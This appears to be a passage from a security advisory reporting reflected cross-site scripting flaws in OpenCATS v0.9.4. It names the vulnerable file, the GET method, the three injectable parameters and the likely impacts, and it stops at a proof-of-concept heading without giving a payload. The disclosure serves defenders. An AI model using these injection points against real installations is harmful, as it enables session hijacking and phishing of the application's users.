Technical Details & Description:
================================
Multiple non-persistent cross site scripting vulnerabilities has been discovered in the official OpenCATS v0.9.4 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise
browser to web-application requests from the client-side.
The cross site scripting vulnerabilities are located in the `quickSearchFor`, `advancedSearchParser` and `wildCardString` parameters
of the `index.php` files. The vulnerable modules are Search and Advanced Search. The request method to inject the malicious script
code is GET and the attack vector of the vulnerability is non-persistent on client-side.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external
redirects to malicious source and non-persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable File(s):
[+] index.php
Vulnerable Parameter(s):
[+] quickSearchFor
[+] advancedSearchParser
[+] wildCardString
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
